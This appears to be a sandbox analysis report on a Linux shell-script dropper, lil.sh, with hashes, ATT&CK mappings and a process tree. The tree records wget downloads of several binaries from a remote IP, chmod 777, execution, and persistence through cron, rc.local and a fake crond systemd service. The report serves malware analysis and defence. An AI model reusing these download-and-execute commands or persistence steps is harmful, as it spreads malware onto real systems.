96282f6e46762cc263af994af5ce98d82b9d7291f2d4f16e9ea8139db6830b6f

Analysis

max time kernel
149s
max time network
146s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/08/2026, 02:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 844B
Sample260809-cgcp4aybpf
SHA256 96282f6e46762cc263af994af5ce98d82b9d7291f2d4f16e9ea8139db6830b6f
MD5 db43287f7119f004d6dbbb82f3032fe7
SHA1 07215d93fe7a47a03f2b8838807bdfc914087a3a
SHA512 6fa960cdda6d66fe67145886891a80e8328737ca7c8958960d5d5f52b4ec90bfc5bfda2da8f3371639fc0b460db40cdbe7e3875fdb3ea644f68ce5368866fb7e
TLSH
T17401C2C6E33459004099945D26D76554F430C3C7194A4F7CBFACE53DAB84D14B03AF84
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
778	chmod
799	chmod
803	chmod
820	chmod
824	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/86D	780	lil.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	86D
File opened for modification	/etc/crontab	86D

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	86D

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	86D

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/588/exe	86D
File opened for reading	/proc/639/cmdline	86D
File opened for reading	/proc/863/cmdline	86D
File opened for reading	/proc/872/cmdline	86D
File opened for reading	/proc/807/cmdline	86D
File opened for reading	/proc/856/cmdline	86D
File opened for reading	/proc/857/exe	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/865/exe	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/15/cmdline	86D
File opened for reading	/proc/823/exe	86D
File opened for reading	/proc/1/exe	86D
File opened for reading	/proc/806/cmdline	86D
File opened for reading	/proc/818/cmdline	86D
File opened for reading	/proc/855/cmdline	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/220/exe	86D
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/846/cmdline	86D
File opened for reading	/proc/847/exe	86D
File opened for reading	/proc/861/cmdline	86D
File opened for reading	/proc/862/cmdline	86D
File opened for reading	/proc/587/exe	86D
File opened for reading	/proc/2/cmdline	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/303/cmdline	86D
File opened for reading	/proc/885/exe	86D
File opened for reading	/proc/895/exe	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/563/exe	86D
File opened for reading	/proc/43/cmdline	86D
File opened for reading	/proc/141/cmdline	86D
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/284/exe	86D
File opened for reading	/proc/165/cmdline	86D
File opened for reading	/proc/mounts	86D
File opened for reading	/proc/859/exe	86D
File opened for reading	/proc/579/exe	86D
File opened for reading	/proc/830/cmdline	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/772/exe	86D
File opened for reading	/proc/629/cmdline	86D
File opened for reading	/proc/807/exe	86D
File opened for reading	/proc/842/cmdline	86D
File opened for reading	/proc/893/cmdline	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/823/cmdline	86D
File opened for reading	/proc/885/cmdline	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/6/cmdline	86D
File opened for reading	/proc/42/cmdline	86D
File opened for reading	/proc/822/cmdline	86D
File opened for reading	/proc/829/cmdline	86D
File opened for reading	/proc/842/exe	86D
File opened for reading	/proc/847/cmdline	86D
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/638/cmdline	86D

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/86D	wget
File opened for modification	/tmp/lil	lil.sh

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:641
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:643
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:649
- /bin/ls
  ls -l /proc/103/exe
  2⤵
  PID:654
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  PID:661
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  PID:665
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:667
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:669
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:671
- /bin/ls
  ls -l /proc/135/exe
  2⤵
  PID:674
- /bin/ls
  ls -l /proc/139/exe
  2⤵
  PID:675
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:677
- /bin/ls
  ls -l /proc/141/exe
  2⤵
  PID:678
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:679
- /bin/ls
  ls -l /proc/156/exe
  2⤵
  - Reads runtime system information
  PID:680
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:682
- /bin/ls
  ls -l /proc/165/exe
  2⤵
  PID:683
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:685
- /bin/ls
  ls -l /proc/186/exe
  2⤵
  PID:686
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:687
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/220/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/274/exe
  2⤵
  PID:698
- /bin/ls
  ls -l /proc/276/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/278/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/279/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/284/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/289/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/303/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/312/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/323/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/329/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:715
- /bin/ls
  ls -l /proc/563/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/577/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/579/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/587/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/588/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/629/exe
  2⤵
  PID:726
- /bin/ls
  ls -l /proc/632/exe
  2⤵
  PID:727
- /bin/ls
  ls -l /proc/633/exe
  2⤵
  - Reads runtime system information
  PID:730
- /bin/ls
  ls -l /proc/636/exe
  2⤵
  PID:732
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  PID:736
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  PID:738
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  PID:740
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:742
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:744
- /bin/ls
  ls -l /proc/74/exe
  2⤵
  PID:746
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:749
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:751
- /bin/ls
  ls -l /proc/96/exe
  2⤵
  PID:753
- /bin/rm
  rm -rf 86D
  2⤵
  PID:756
- /usr/bin/wget
  wget http://129.121.110.105/86D
  2⤵
  - Writes file to tmp directory
  PID:757
- /bin/chmod
  chmod 777 86D
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/86D
  ./86D lilin
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Reads runtime system information
  PID:780
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:797
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:798
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:798
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:797
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:798
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:797
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:797
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:798
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:798
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:797
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:797
- /bin/rm
  rm -rf aWG
  2⤵
  PID:785
- /usr/bin/wget
  wget http://129.121.110.105/aWG
  2⤵
  PID:796
- /bin/chmod
  chmod 777 aWG
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/aWG
  ./aWG lilin
  2⤵
  PID:800
- /bin/rm
  rm -rf tbW
  2⤵
  PID:801
- /usr/bin/wget
  wget http://129.121.110.105/tbW
  2⤵
  PID:802
- /bin/chmod
  chmod 777 tbW
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/tbW
  ./tbW lilin
  2⤵
  PID:810
- /bin/rm
  rm -rf VFgi
  2⤵
  PID:813
- /usr/bin/wget
  wget http://129.121.110.105/VFgi
  2⤵
  PID:818
- /bin/chmod
  chmod 777 VFgi
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/VFgi
  ./VFgi lilin
  2⤵
  PID:821
- /bin/rm
  rm -rf OLE5
  2⤵
  PID:822
- /usr/bin/wget
  wget http://129.121.110.105/OLE5
  2⤵
  PID:823
- /bin/chmod
  chmod 777 OLE5
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/OLE5
  ./OLE5 lilin
  2⤵
  PID:825
- /bin/rm
  rm -rf lil
  2⤵
  PID:826

/bin/systemctl
systemctl enable crond.service
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:798

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 31B
SHA256 eedbd5b8c7a57b4be6a09bca5070194fa675cfdc670661ef0d9e35af969aa2c3
MD5 bef116d546d25540e17eda1e4d7be25d
SHA1 cd31d5676da87ab33f5d7381dda659e4241dd3a0
SHA512 9f992ddcbe41db51edac4ae4e82a7acd26f3ba1b9188b11ed89be125fd9c5d3fc20aac746a86766a34e8ae81c1053376af2d29582f37571524041aa945e13f57
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 35B
SHA256 cb31012001cabaa413c848f3fd8ec13d0c11cb9c79c453bccd95c4c546b2acf6
MD5 6fc7c40770298e848c60fa3f2a0564c2
SHA1 18250e6c3cb691aac0195ae849c3614a7adbc64d
SHA512 48ff457764113c0316e17c166bc1baab91d80ebfb4a050d918c21b2f400793a0811e681e4f38a7552d26d06cb9256b0c6ea0dc778e6658fbcc2a56066a9e5d42
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 194B
SHA256 c41259ab787b364327dc0b11cf486d813cb28b416453bf32504c85f8a74e3fcf
MD5 035a707fadfe9acdcbe3a95488b78660
SHA1 3c7511bd5fb7f22bfb045a0cabeed0ee8fcc99d6
SHA512 53c4430fc7f2e3d2d7070a346cec8aa567f62a2edc84201043049048f8e55b3695a1e4f820ac64f6aa2ea7cfab67c45868c997d680754a44b58694bdc430738e
TLSH
T1DEC0231355311490494F25615DE627488D71010006CF51B0079415151DF10E715218AD
MD5 SHA1 SHA512 TLSH

Submit Download

86D

Path /tmp/86D
Size 73KB
SHA256 463a265e6814f047d5e0dec116a38bf72c204a1b30583e5475e19265e49861b2
MD5 c7407df4431cb37b89b20e786262d32c
SHA1 2aaf7b60938b0589b9c373f39e9d5a91be90bc3e
SHA512 3248035275900db92b3606cc2da879939b4d7b430bba69e58327d8270ca91ad204bd42ef36706cae01e89562a5267627f9538c225177758326cabca9eea9f0c2
SSDEEP 1536:3gd1/53neamgYUkOTWNxPfKlFTNWUwYvQTZ3ZcQPdFmE2AobGJ:3gd1VOg06WN9fKlFTNdHQtpzPdFmE2Lk
TLSH
T177731859B8418F1BC2D21637FF1E8389331723A8E3DA7103DE15AF5537CB62A0E2A855
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads